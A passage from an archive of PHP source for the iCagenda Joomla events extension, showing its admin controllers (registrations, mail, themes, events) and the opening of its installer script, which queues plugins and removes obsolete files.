    function __construct() {
        $this->view_list = 'categories';
        parent::__construct();
    }

}
com_icagenda/controllers/registration.php000060400000005017152455305270014735 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-22
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Registration controller class.
 */
class iCagendaControllerRegistration extends JControllerForm
{
    function __construct()
    {
        $this->view_list = 'registrations';
        parent::__construct();
    }

	/**
	 * Return Ajax to load date select options
	 *
	 * @since 3.5.9
	 */
	function dates()
	{
		icagendaAjax::getOptionsEventDates('registration');

		// Cut the execution short
//		JFactory::getApplication()->close();
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   3.3.3
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Initialise variables.
		$recordId	= (int) isset($data[$key]) ? $data[$key] : 0;
		$user		= JFactory::getUser();
		$userId		= $user->get('id');

		// Check general edit permission first.
		if ($user->authorise('core.edit', 'com_icagenda.registration.' . $recordId))
		{
			return true;
		}

		// Fallback on edit.own.
		// First test if the permission is available.
		if ($user->authorise('core.edit.own', 'com_icagenda.registration.' . $recordId))
		{
			// Now test the owner is the user.
			$ownerId = (int) isset($data['created_by']) ? $data['created_by'] : 0;
			if (empty($ownerId) && $recordId)
			{
				// Need to do a lookup from the model.
				$record = $this->getModel()->getItem($recordId);

				if (empty($record))
				{
					return false;
				}

				$ownerId = $record->created_by;
			}

			// If the owner matches 'me' then do the test.
			if ($ownerId == $userId)
			{
				return true;
			}
		}

		// Since there is no asset tracking, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}
}
com_icagenda/controllers/features.php000060400000002133152455305270014035 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob & Cyril Rezé
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Features list controller class.
 */
class iCagendaControllerFeatures extends JControllerAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	3.4.0
	 */
	public function getModel($name = 'feature', $prefix = 'iCagendaModel')
	{
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));

		return $model;
	}
}
com_icagenda/controllers/mail.php000060400000005703152455305270013147 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Event controller class.
 */
class iCagendaControllerMail extends JControllerForm
{
	function __construct()
	{
		$this->view_list = 'icagenda';
		parent::__construct();
	}

	/**
	 * Return Ajax to load date select options
	 *
	 * @since 3.5.9
	 */
	function dates()
	{
		icagendaAjax::getOptionsEventDates('mail');

		// Cut the execution short
//		JFactory::getApplication()->close();
	}

	/**
	 * Send the mail
	 *
	 * @return void
	 *
	 * @since 3.5.9
	 */
	public function send()
	{
		// Check for request forgeries.
		JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));

		$app	= JFactory::getApplication();
		$jinput	= $app->input;
		$model	= $this->getModel('Mail');

		if ( ! $model->send())
		{
//			$msg = 'ok';
//			$type = 'message';
//		}
//		else
//		{
//			$msg = 'NOT ok';
//			$type = 'error';

			// Get the user data.
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$requestData = JRequest::getVar('jform', array(), 'post');
			}
			else
			{
				$requestData = $this->input->post->get('jform', array(), 'array');
			}

			// Save the data in the session.
			$app->setUserState('com_icagenda.mail.data', $requestData);

			// Redirect back to the newsletter screen.
			$this->setRedirect(JRoute::_('index.php?option=com_icagenda&view=mail&layout=edit', false));
//			$this->setredirect('index.php?option=com_icagenda&view=mail&layout=edit', $msg, $type);

			return false;
		}

		// Flush the data from the session.
		$app->setUserState('com_icagenda.mail.data', null);

//		$msg = $model->getError();

		// Redirect back to the newsletter screen.
		$this->setRedirect(JRoute::_('index.php?option=com_icagenda&view=mail&layout=edit', false));
//		$this->setredirect('index.php?option=com_icagenda&view=mail&layout=edit', $msg, $type);

		return true;
	}

	/**
	 * Cancel the mail
	 *
	 * @return void
	 *
	 * @since 3.5.9
	 */
	public function cancel($key = null)
	{
		// Check for request forgeries.
		JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));

		$app	= JFactory::getApplication();

		// Flush the data from the session.
		$app->setUserState('com_icagenda.mail.data', null);

		$this->setRedirect(JRoute::_('index.php?option=com_icagenda', false));
	}
}
com_icagenda/controllers/customfields.php000060400000002140152455305270014716 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-05-01
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Categories list controller class.
 */
class iCagendaControllerCustomfields extends JControllerAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	1.0
	 */
	public function getModel($name = 'customfield', $prefix = 'iCagendaModel')
	{
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));

		return $model;
	}
}
com_icagenda/controllers/registrations.raw.php000060400000013565152455305270015717 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-23
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Registrations list controller class.
 *
 * @since	3.5.0
 */
class icagendaControllerRegistrations extends JControllerLegacy
{
	/**
	 * @var    string  The context for persistent state.
	 *
	 * @since  3.5.0
	 */
	protected $context = 'com_icagenda.registrations';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The name of the model.
	 * @param   string  $prefix  The prefix for the model class name.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModel
	 *
	 * @since   3.5.0
	 */
	public function getModel($name = 'Registrations', $prefix = 'iCagendaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));

		return $model;
	}

	/**
	 * Display method for the raw track data.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController  This object to support chaining.
	 *
	 * @since   3.5.0
	 * @todo    This should be done as a view, not here!
	 */
	public function display($cachable = false, $urlparams = false)
	{
		// Get the document object.
		$document	= JFactory::getDocument();
		$vName		= 'registrations';
		$vFormat	= 'raw';

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			// Get the model for the view.
			$model = $this->getModel($vName);

			// Load the filter state.
			$app = JFactory::getApplication();

			$published = $app->getUserState($this->context . '.filter.state');
			$model->setState('filter.state', $published);

			$eventId = $app->getUserState($this->context . '.filter.events');
			$model->setState('filter.events', $eventId);

			$date = $app->getUserState($this->context . '.filter.dates');
			$model->setState('filter.dates', $date);

			$model->setState('list.limit', 0);
			$model->setState('list.start', 0);

			$input = JFactory::getApplication()->input;
			$form  = $input->get('jform', array(), 'array');

			$model->setState('event_title', $form['event_title']);
			$model->setState('date', $form['date']);
			$model->setState('tickets', $form['tickets']);
			$model->setState('name', $form['name']);
			$model->setState('email', $form['email']);
			$model->setState('phone', $form['phone']);
			$model->setState('customfields', $form['customfields']);
			$model->setState('notes', $form['notes']);
			$model->setState('status', $form['status']);

			$model->setState('basename', $form['basename']);
			$model->setState('separator', $form['separator']);
			$model->setState('compressed', $form['compressed']);

			$config = JFactory::getConfig();
			$cookie_domain = $config->get('cookie_domain', '');
			$cookie_path = $config->get('cookie_path', '/');

			// Joomla 3
			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				setcookie(JApplicationHelper::getHash($this->context . '.event_title'), $form['event_title'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.date'), $form['date'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.tickets'), $form['tickets'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.name'), $form['name'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.email'), $form['email'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.phone'), $form['phone'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.customfields'), $form['customfields'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.notes'), $form['notes'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.status'), $form['status'], time() + 365 * 86400, $cookie_path, $cookie_domain);

				setcookie(JApplicationHelper::getHash($this->context . '.basename'), $form['basename'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.separator'), $form['separator'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplicationHelper::getHash($this->context . '.compressed'), $form['compressed'], time() + 365 * 86400, $cookie_path, $cookie_domain);
			}
			// Joomla 2.5
			else
			{
				setcookie(JApplication::getHash($this->context.'.basename'), $form['basename'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplication::getHash($this->context.'.separator'), $form['separator'], time() + 365 * 86400, $cookie_path, $cookie_domain);
				setcookie(JApplication::getHash($this->context.'.compressed'), $form['compressed'], time() + 365 * 86400, $cookie_path, $cookie_domain);
			}

			// Push the model into the view (as default).
			$view->setModel($model, true);

			// Push document object into the view.
			$view->document = $document;

			$view->display();
		}
	}
}
com_icagenda/controllers/themes.php000060400000003354152455305270013512 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.0 2013-06-03
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');
jimport('joomla.client.helper');

class iCagendaControllerthemes extends JControllerForm
{
	protected	$option 		= 'com_icagenda';

	function __construct() {
		parent::__construct();
		$this->registerTask( 'themeinstall'  , 	'themeinstall' );
	}

	function themeinstall() {

		JRequest::checkToken() or die( 'Invalid Token' );
		$post	= JRequest::get('post');
		$theme = array();

		if (isset($post['theme_component'])) {
			$theme['component'] = 1;
		}

		if (empty($theme)) {

			$ftp =& JClientHelper::setCredentialsFromRequest('ftp');

			$model	= &$this->getModel( 'themes' );

			if ($model->install($theme)) {
				$cache = &JFactory::getCache('mod_menu');
				$cache->clean();
				$msg = JText::_('COM_ICAGENDA_SUCCESS_THEME_INSTALLED');
			}
		} else {
			$msg = JText::_('COM_ICAGENDA_ERROR_THEME_APPLICATION_AREA');
		}

		$this->setRedirect( 'index.php?option=com_icagenda&view=themes', $msg );
	}

	function cancel() {
		$this->setRedirect( 'index.php?option=com_icagenda' );
	}

}
?>
com_icagenda/controllers/event.php000060400000007044152455305270013346 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     2.1 2013-02-17
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Event controller class.
 */
class iCagendaControllerEvent extends JControllerForm
{
    function __construct()
    {
        $this->view_list = 'events';
        parent::__construct();
    }

	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Initialise variables.
		$user = JFactory::getUser();
		$categoryId = JArrayHelper::getValue($data, 'catid', JRequest::getInt('filter_category_id'), 'int');
		$allow = null;

		if ($categoryId)
		{
			// If the category has been passed in the data or URL check it.
			$allow = $user->authorise('core.create', 'com_icagenda.category.' . $categoryId);
		}

		if ($allow === null)
		{
			// In the absense of better information, revert to the component permissions.
			return parent::allowAdd();
		}
		else
		{
			return $allow;
		}
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Initialise variables.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();
		$userId = $user->get('id');

		// Check general edit permission first.
		if ($user->authorise('core.edit', 'com_icagenda.event.' . $recordId))
		{
			return true;
		}

		// Fallback on edit.own.
		// First test if the permission is available.
		if ($user->authorise('core.edit.own', 'com_icagenda.event.' . $recordId))
		{
			// Now test the owner is the user.
			$ownerId = (int) isset($data['created_by']) ? $data['created_by'] : 0;
			if (empty($ownerId) && $recordId)
			{
				// Need to do a lookup from the model.
				$record = $this->getModel()->getItem($recordId);

				if (empty($record))
				{
					return false;
				}

				$ownerId = $record->created_by;
			}

			// If the owner matches 'me' then do the test.
			if ($ownerId == $userId)
			{
				return true;
			}
		}

		// Since there is no asset tracking, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean	 True if successful, false otherwise and internal error is set.
	 *
	 * @since   1.6
	 */
	public function batch($model = null)
	{
		JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Event', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_icagenda&view=events' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}
}
com_icagenda/controllers/icagenda.php000060400000002235152455305270013755 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.0 2013-05-05
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Categories list controller class.
 */
// J2.5 : class iCagendaControlleriCagenda extends JControllerAdmin
class iCagendaControlleriCagenda extends JControllerLegacyAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	1.6
	 */
	public function &getModel($name = 'icagenda', $prefix = 'iCagendaModel')
	{
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));
		return $model;
	}
}
com_icagenda/controllers/registrations.php000060400000002144152455305270015116 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-22
 * @since       2.0.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Registrations list controller class.
 */
class iCagendaControllerRegistrations extends JControllerAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	2.0.0
	 */
	public function getModel($name = 'registration', $prefix = 'iCagendaModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_icagenda/controllers/feature.php000060400000001674152455305270013663 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Feature controller class.
 */
class iCagendaControllerFeature extends JControllerForm
{
	function __construct()
	{
		$this->view_list = 'features';

		parent::__construct();
	}
}
com_icagenda/controllers/index.html000060400000000032152455305270013477 0ustar00<html><body></body></html>com_icagenda/script.icagenda.pro.php000060400000125416152455305270013520 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda PRO v3 by Jooml!C - Events Management Extension - Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-10-12
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

//Système Installation/Mises à jour, composant iCagenda http://www.joomlic.com
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');


class com_icagendaInstallerScript
{
	/*
	 * $parent is the class calling this method.
	 * $type is the type of change (install, update or discover_install, not uninstall).
	 * preflight runs before anything else and while the extracted files are in the uploaded temp folder.
	 * If preflight returns false, Joomla will abort the update and undo everything already done.
	 */
	private $ictype = 'pro';

	/** @var array The list of extra modules and plugins to install */
	private $installation_queue = array(
		// modules => { (folder) => { (module) => { (position), (published) } }* }*
		'modules' => array(
			'admin' => array(
			),
			'site' => array(
				'mod_iccalendar'	=> array('', 0),
			)
		),
		// plugins => { (folder) => { (element) => (published) }* }*
		// plugins => { (folder) => { (element) => { (name), (published) } }* }*
		'plugins' => array(
			'system' => array(
				'ic_autologin'		=> array('System - iCagenda :: Autologin', 1),
				'ic_library'		=> array('System - iC Library', 1),
			),
			'search' => array(
				'icagenda'			=> array('Search - iCagenda', 1),
			)
		)
	);

	/** @var array Obsolete files and folders to remove from the iCagenda oldest releases*/
	private $icagendaRemoveFiles = array(
		'files'	=> array(
			'components/com_icagenda/views/list/tmpl/search.php',
			'components/com_icagenda/views/list/tmpl/search.xml',
			'modules/mod_iccalendar/js/bottomcenter_function.js',
			'modules/mod_iccalendar/js/center_function.js',
			'modules/mod_iccalendar/js/left_function.js',
			'modules/mod_iccalendar/js/right_function.js',
			'modules/mod_iccalendar/js/topcenter_function.js',
			'components/com_icagenda/helpers/icmodcalendar.php',
			'administrator/components/com_icagenda/models/fields/eventtitle.php',
			'components/com_icagenda/themes/packs/ic_rounded/ic_rounded_alldates.php',
			'media/com_icagenda/icicons/lte-ie7.js',
			'media/com_icagenda/icicons/fonts/iCicons.dev.svg',
			'media/com_icagenda/icicons/selection.json',
			'modules/mod_iccalendar/js/function.js',
			'modules/mod_iccalendar/js/function_312.js',
			'modules/mod_iccalendar/js/function_316.js',
			'modules/mod_iccalendar/js/ictip.js',
			'components/com_icagenda/themes/packs/default/default_list.php',
			'components/com_icagenda/themes/packs/ic_rounded/ic_rounded_list.php',
			'media/com_icagenda/images/iconicagenda48 - copie.png',
			'administrator/components/com_icagenda/views/event/tmpl/ajaxfile.php',
			'administrator/components/com_icagenda/views/registration/tmpl/default.php',
			'administrator/components/com_icagenda/models/fields/modal/time.php',
			'administrator/components/com_icagenda/UPDATELOGS.php',
			'administrator/components/com_icagenda/sql/install.mysql.utf8.sql',
			'administrator/components/com_icagenda/sql/uninstall.mysql.utf8.sql',
			'administrator/components/com_icagenda/models/fields/custom_field.php',
//			'modules/mod_ic_event_list/css/icrounded-full_style.css', // dev. PRO
//			'modules/mod_ic_event_list/tmpl/icrounded-full.php', // dev. PRO
			'administrator/components/com_icagenda/tables/mail.php',
			'administrator/components/com_icagenda/models/fields/modal/mailinglist.php',
		),
		'folders' => array(
			'modules/mod_iccalendar/tmpl',
			'components/com_icagenda/views/event',
			'components/com_icagenda/css',
			'modules/mod_ic_event_list/language',
			'modules/mod_iccalendar/language',
			'administrator/components/com_icagenda/add/js',
			'components/com_icagenda/add/js',
			'media/com_icagenda/scripts',
			'components/com_icagenda/js',
			'administrator/components/com_icagenda/add/css',
			'components/com_icagenda/add/css',
			'administrator/components/com_icagenda/add/image',
			'components/com_icagenda/add/image',
			'administrator/components/com_icagenda/globalization',
			'administrator/components/com_icagenda/add',
			'components/com_icagenda/views/events',
		)
	);


	private function _removeObsoleteFilesAndFolders($icagendaRemoveFiles)
	{
		// Remove files
		jimport('joomla.filesystem.file');
		if(!empty($icagendaRemoveFiles['files'])) foreach($icagendaRemoveFiles['files'] as $file) {
			$f = JPATH_ROOT.'/'.$file;
			if(!JFile::exists($f)) continue;
			JFile::delete($f);
		}

		// Remove folders
		jimport('joomla.filesystem.file');
		if(!empty($icagendaRemoveFiles['folders'])) foreach($icagendaRemoveFiles['folders'] as $folder) {
			$f = JPATH_ROOT.'/'.$folder;
			if(!JFolder::exists($f)) continue;
			JFolder::delete($f);
		}
	}

	function preflight( $type, $parent )
	{
		$jversion = new JVersion();

		// Installing component manifest file version
		$this->release = $parent->get( "manifest" )->version;

		// Manifest file minimum Joomla version
		$this->minimum_joomla_release = $parent->get( "manifest" )->attributes()->version;

		// Load translations
		$language = JFactory::getLanguage();
		$language->load('com_icagenda.sys', JPATH_ADMINISTRATOR, 'en-GB', true);
		$language->load('com_icagenda.sys', JPATH_ADMINISTRATOR, null, true);

//		if (version_compare(phpversion(), '5.3.0', '<')) {
//			JError::raiseWarning( 100, '<span class="icon-warning"></span><b> '.JText::sprintf('COM_ICAGENDA_YOUR_PHP_VERSION_IS', phpversion()).'</b><br />'.JText::_('COM_ICAGENDA_PHP_VERSION_JOOMLA_RECOMMENDED').' ( '.JText::_('IC_READMORE').': <a href="http://www.joomla.org/technical-requirements.html" target="_blanck">http://www.joomla.org/technical-requirements.html</a> )<br />'.JText::_('COM_ICAGENDA_PHP_VERSION_ICAGENDA_RECOMMENDATION').'' );
//		}

		echo '<table><tr><td><img src="../media/com_icagenda/images/logo_icagenda.png" /></td><td width="10px"></td><td style="font-size: 20px"><b>' . JText::_('COM_ICAGENDA') . '&trade; PRO<span style="font-size: 11px"> v '.$this->release.' </span></b><br /><span style="font-size: 16px; color:#555555;">' . JText::_('COM_ICAGENDA_XML_DESCRIPTION') . '</span><br /><br /><span style="font-size: 13px">&#8226; <b>' . JText::_('COM_ICAGENDA_FEATURES_LANGUAGES') . '</b> English <img src="../media/mod_languages/images/en.gif" height="10px"/> - French <img src="../media/mod_languages/images/fr.gif" height="10px"/> - Italian <img src="../media/mod_languages/images/it.gif" height="10px"/><br />'
		.'&#8226; <b>' . JText::_('COM_ICAGENDA_FEATURES_TRANSLATION_PACKS') . '</b> '
		.'Arabic (Unitag) <img src="../media/mod_languages/images/ar.gif" alt="" height="10px"/> - '
		.'Basque <img src="../media/mod_languages/images/eu_es.gif" alt="" height="10px"/> - '
		.'Catalan <img src="../media/mod_languages/images/ca.gif" alt="" height="10px"/> - '
		.'Chinese (Taiwan) <img src="../media/mod_languages/images/tw.gif" alt="" height="10px"/> - '
		.'Croatian <img src="../media/mod_languages/images/hr.gif" alt="" height="10px"/> - '
		.'Czech <img src="../media/mod_languages/images/cz.gif" alt="" height="10px"/> - '
		.'Danish <img src="../media/mod_languages/images/dk.gif" alt="" height="10px"/> - '
		.'Dutch <img src="../media/mod_languages/images/nl.gif" alt="" height="10px"/> - '
		.'English (USA) <img src="../media/mod_languages/images/us.gif" alt="" height="10px"/> - '
		.'Esperanto <img src="../media/mod_languages/images/eo.gif" alt="" height="10px"/> - '
		.'Estonian <img src="../media/mod_languages/images/et.gif" alt="" height="10px"/> - '
		.'Finnish <img src="../media/mod_languages/images/fi.gif" alt="" height="10px"/> - '
		.'German <img src="../media/mod_languages/images/de.gif" alt="" height="10px"/> - '
		.'Greek <img src="../media/mod_languages/images/el.gif" alt="" height="10px"/> - '
		.'Hungarian <img src="../media/mod_languages/images/hu.gif" alt="" height="10px"/> - '
		.'Japanese <img src="../media/mod_languages/images/ja.gif" alt="" height="10px"/> - '
		.'Latvian <img src="../media/mod_languages/images/lv.gif" alt="" height="10px"/> - '
		.'Lithuanian <img src="../media/mod_languages/images/lt.gif" alt="" height="10px"/> - '
		.'Luxembourgish <img src="../media/mod_languages/images/icon-16-language.png" alt="" height="10px"/> - '
		.'Norwegian <img src="../media/mod_languages/images/no.gif" alt="" height="10px"/> - '
		.'Polish <img src="../media/mod_languages/images/pl.gif" alt="" height="10px"/> - '
		.'Portuguese (Brasil) <img src="../media/mod_languages/images/pt_br.gif" alt="" height="10px"/> - '
		.'Portuguese <img src="../media/mod_languages/images/pt.gif" alt="" height="10px"/> - '
		.'Romanian <img src="../media/mod_languages/images/ro.gif" alt="" height="10px"/> - '
		.'Russian <img src="../media/mod_languages/images/ru.gif" alt="" height="10px"/> - '
		.'Serbian (latin) <img src="../media/mod_languages/images/sr.gif" alt="" height="10px"/> - '
		.'Slovak <img src="../media/mod_languages/images/sk.gif" alt="" height="10px"/> - '
		.'Slovenian <img src="../media/mod_languages/images/sl.gif" alt="" height="10px"/> - '
		.'Spanish <img src="../media/mod_languages/images/es.gif" alt="" height="10px"/> - '
		.'Swedish <img src="../media/mod_languages/images/sv.gif" alt="" height="10px"/> - '
		.'Ukrainian <img src="../media/mod_languages/images/uk.gif" alt="" height="10px"/>'
		.'<br />&#8226; ' . JText::_('COM_ICAGENDA_FEATURES_BACKEND') . '<br />&#8226; ' . JText::_('COM_ICAGENDA_FEATURES_FRONTEND') . '<br /></span></td></tr></table><br /><br />';


		if ( $type != 'install' )
		{
			echo '<span style="text-transform:uppercase; font-size: 14px"><b>' . JText::_('COM_ICAGENDA_WELCOME_1') . $this->release . '</span>';
			echo '<span style="text-transform:uppercase; font-size: 14px">' . JText::_('COM_ICAGENDA_WELCOME_2') . '</b></span>';
			echo '<span style="text-transform:uppercase; letter-spacing: 3px; font-size: 14px">' . JText::_('COM_ICAGENDA_WELCOME_3') . '</span><br /><br />';
			echo '<div style="margin-left:10px"><span style="font-size: 16px; color:#555555;">'.JText::_('COM_ICAGENDA_VIDEO_GETTING_STARTED') . '</span>';
			$urlposter = '../media/com_icagenda/images/video_poster_icagenda.jpg';
			?>

			<div onclick="thevid=document.getElementById('thevideo'); thevid.style.display='block'; this.style.display='none'">
				<img style="cursor: pointer;" src="<?php echo $urlposter; ?>" alt=""  width="500px" />
			</div>

			<div id="thevideo" style="display: none;">
				<iframe src="http://www.joomlic.com/_icagenda/<?php echo $this->ictype; ?>/tutorial_video_install.html" frameborder="0" width="500px" height="340" scrolling="no"></iframe>
			</div>

			<div style="color:#333; margin-top: 5px; font-size: 0.8em;">
				© <?php echo date("Y"); ?> <?php echo JText::_('COM_ICAGENDA_VIDEO_TUTORIALS');?> - Giuseppe Bosco (giusebos) | <a href="http://www.newideasproject.com/" target="_blanck">www.newideasproject.com</a>
			</div>

